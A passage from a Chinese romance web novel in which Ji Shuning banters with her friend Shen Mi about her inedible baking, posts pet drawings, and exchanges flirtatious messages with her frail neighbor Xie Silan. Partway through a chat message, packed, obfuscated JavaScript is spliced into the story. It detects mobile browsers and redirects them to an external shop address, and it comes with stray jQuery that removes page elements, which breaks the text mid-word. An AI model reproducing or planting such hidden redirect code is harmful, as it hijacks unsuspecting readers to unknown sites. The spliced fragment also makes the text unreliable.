“当然看了。”沈觅理直气壮,“我可是你的铁粉,还设置了特别关注,你一发我就看到了。”
她双手撑在吧台上,身体往前倾,眼睛亮得跟发现了猎物似的:“来来来,展开说说,什么叫‘很乖的小朋友’?什么叫‘我愿意养他’?”
季书宁快要把脸埋进咖啡杯里了。
“就……字面意思。他真的很乖啊,我昨天给他尝了我做的那个蔓越莓曲奇,他说好吃。”
沈觅的嘴角抽搐得更厉害了。
“你是说你那个能当暗器用的蔓越莓曲奇?”
“……你能不能别用‘暗器’这个词。”
“他说好吃?”
“对。”季书宁点头,“还拍照发我了。盘子里少了一块,应该是真的吃了。”
沈觅人生头一回觉得自己的词汇量已经匮乏到了一种无法形容的程度:“这人是味觉失灵还是味觉失灵还是味觉失灵?”
“他说稍微有点甜,但很好吃。”季书宁替谢司澜辩护,“我觉得他是真心的。”
“真心的?”沈觅的声音拔高了,“你那些作品我又不是没吃过,吃一口就要喝半杯水,奥利奥吃了就跑去阳台干呕。哦还有一次,你带去给我隔壁便利店的小哥尝,人家吃了之后问你是不是把盐当糖放了。人家说得很委婉了,你那饼干是又咸又甜又焦,味道层次之丰富,人类味觉无法承受。”
季书宁被说得缩了缩脖子:“……所以我后来改良配方了。”
“改了什么?”
“少放了一点盐。”
沈觅闭上眼睛,深吸一口气。
“行。所以这位小朋友吃了你的改良版暗器,说好吃。然后呢?”
“以后我做的甜点都让他尝。”季书宁说。
奥利奥趴在垫子上,夸张地呜了一声。
沈觅睁开眼睛看着她,眼神复杂得像在看一个即将走上犯罪道路的人。
“他有医保吗?”
“……沈觅!”
“我认真的。”沈觅一脸严肃,“你那厨艺是什么水平你自己心里没数吗?上次你做的那个纸杯蛋糕,中间是生的。那个蛋挞,蛋液烤成了炒蛋。前面的我就不多说了,你那厨房说好听了叫厨房,说难听了叫生化实验室。”
季书宁趴在桌上,把脸埋进手臂里:“他说了好吃的……”
“他可能只是客气。”
“他不是那种人。”季书宁从手臂里抬起头,“他说话很认真的,他不会说客气话。”
沈觅从吧台后面绕出来,走到季书宁面前坐下。
“我不是打击你。而且你才认识他一天不到。”
“对啊。”
“你就这么了解他?”
季书宁想了想。
“不能说了解吧,就是一种感觉。”她戳了戳杯子里的奶泡,“他看起来是那种不会撒谎的人。不是说这个人道德水平多高,是他看起来没力气撒谎。”
沈觅看着她,没说话。
季书宁继续说:“他说话语速很慢,还要换气。听力有问题,只能坐轮椅回家还要吸氧。”
她的声音越来越轻。
“昨天他下楼来看狗,整个人薄薄的一片。我当时就想,这个人怎么这么瘦啊。但是他长得很好看,笑的时候眼睛弯弯的。”
沈觅安静地听着。
“他收养了糯米。糯米也是听不见的,被原来的主人丢了。”季书宁的手指在杯子上划来划去,“所以我想,他那么善良,肯定不会骗我。他说我的饼干好吃,就是真的觉得好吃。”
过了很久,沈觅叹了口气。
“季书宁。”
“嗯?”
“你有没有想过一种可能。”
“什么?”
沈觅的嘴角扬起一个意味深长的弧度:“他可能不是觉得你的饼干好吃。”
“那是什么?”
“他是觉得你这人好吃。”
???
季书宁感觉自己的耳朵一下烧到了沸点。
“你胡说什么!”她抄起桌上的纸巾朝沈觅扔过去,“我们昨天才认识!而且他超单纯的!说话的时候会脸红!我让他叫姐姐他就乖乖叫了!耳尖都是红的!”
沈觅侧身躲过纸巾,脸上的笑容越来越大:“哦~他还叫你姐姐?”
“我比他大三个月!叫姐姐不正常吗!”
“他二十四?”
“快了。”
“你刚刚二十四。”
“我五月他八月,我就是比他大。”
“行行行,你大你大。”沈觅举手投降,脸上的笑容没有要收敛的意思,“所以这位‘单纯’的、会脸红的、乖乖叫姐姐的小朋友,自愿当你的小白鼠,吃你的黑暗料理,还夸好吃。”
“对。”
“你还给他画了Q版小人,发在小号上。”
“那是……随手画的。”
“我怎么没有这种规格的待遇?”
“那不一样!”
“你没救了。”沈觅下了结论。
季书宁张了张嘴想说点什么反驳,但发现自己什么都说不出来,只好坐在那生闷气,戳奶泡跟戳仇人似的。
沈觅在吧台后面看着她,嘴角的弧度都快咧到耳根了。
季书宁在咖啡店呆了一个多小时。这期间她画了几张速写,一张是三只猫围着奥利奥睡觉的场面,一张是大橘独占奥利奥的样子,一张是kuku趴在奥利奥背上睥睨众猫的样子。
画完她看了看,都挺可爱的,刚好能给关注它们的粉丝更新一下近况,就发到了大号上。
“猫猫教信徒奥利奥同志,今日份的供奉。[图片]*3”
发出去没多久,评论区又是一片热闹。
“奥利奥:我为这个家付出了太多”
“奥利奥好幸福哈哈哈哈哈”
“大橘把狗尾巴当被子盖,我笑发财了”
“等等,太太发的另一只小狗呢?”
“对对对,糯米去哪里了?让我们看看糯米吧太太!”
季书宁在相册里选择了一下,把早上拍的糯米咬奥利奥尾巴的live照片发了上去。
“糯米小尾巴。[图片]”
评论区又炸一波:
“糯米好乖啊,轻轻咬一口”
“奥利奥真的是小天使,我哭”
“糯米今天敢咬尾巴玩了,进步好大”
“太太你是不是每天都在遛这两只狗”
“求求了多画一点它们的故事吧”
季书宁划着评论,嘴角一直翘着。
她打开和谢司澜的聊天界面,截图了那条动态下面的评论,发给他。
【季小宁】:[图片]
【季小宁】:糯米的粉丝越来越多了
【季小宁】:她们说想看糯米和奥利奥的故事
【小谢同学】:糯米有粉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525735|203486||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
丝了。
【小谢同学】:它会很开心的。
季书宁想了想,打字:
【季小宁】:那你要不要也出个道
【季小宁】:我画的小季和小谢也有粉丝了
【季小宁】:她们说“妈妈爱你们”
这次隔了一会儿。
【小谢同学】:小季和小谢。
【小谢同学】:是我和你吗?
季书宁的手指悬在屏幕上方。等等,这个问题怎么回答?
“对,是我和你。”感觉哪里都很怪。
“对,我画的Q版小人。”好刻意。
她正纠结着,谢司澜又发了两条过来。
【小谢同学】:我很荣幸。
【小谢同学】:被画进姐姐的画里。
他知不知道自己在说什么啊!
季书宁看着最后这行字,心跳漏了好几拍,让她当场想点进附近医院的公众号挂个心内科,让医生瞧瞧她这心律失常的毛病。
她把手机屏幕扣在桌上,端起咖啡杯。空的。
沈觅神不知鬼不觉地走到了她旁边,把她的手机翻过来,光明正大地偷看聊天记录。
“沈觅!!!”
“嘘。”沈觅饶有兴味地看完了最后几条消息,慢慢直起身,表情高深莫测,“季书宁。”
“……干嘛。”
“你的小朋友,”沈觅指了指手机屏幕,“真的不是在说客气话。而且,他一点都不乖。”
“什么意思?”
沈觅没有回答,只是拍了拍她的肩,用一种过来人的语气说:“以后你就懂了。”
然后她哼着歌去门口擦户外桌了,留下一头雾水的季书宁。
她低头看了看聊天界面,挠了挠头。
没什么问题啊,这人说话不都是这个风格吗?乖乖的,软软的,像一只翻出肚皮的小猫。
哪里有问题了?肯定是沈觅想多了。
----------------
中午,季书宁牵着奥利奥回了御水湾。
电梯到次顶层,她刚出电梯,手机震了。
【小谢同学】:姐姐在家吗?
【季小宁】:刚回家
【季小宁】:有什么事吗
【小谢同学】:姐姐下午有空吗?
【小谢同学】:甜点师做了新的芝士蛋糕。
【小谢同学】:想请你尝尝。
季书宁的眼睛亮了,那可是能吃的芝士蛋糕。
【季小宁】:有空!!!
【季小宁】:几点
【小谢同学】:三点可以吗?
【小谢同学】:那时候我睡完午觉了。
季书宁直勾勾地盯着“睡完午觉”四个字,脑海里莫名浮现出他缩在毯子下面、脸颊压出一点柔软的样子。
季书宁啊季书宁,你什么时候想象力这么丰富了?她用力甩了甩头。
【季小宁】:可以
【季小宁】:那我三点上去
【小谢同学】:好。
【小谢同学】:等你,姐姐。
季书宁把手机塞进口袋,打开家门。奥利奥冲进去直奔水碗,喝得哗啦哗啦响。
她靠在玄关的墙上,看着天花板。楼上安安静静的,什么声音都听不到,但是有一个人正等着她三点上去。
季书宁捂住脸。
这下是真的要去医院看看了。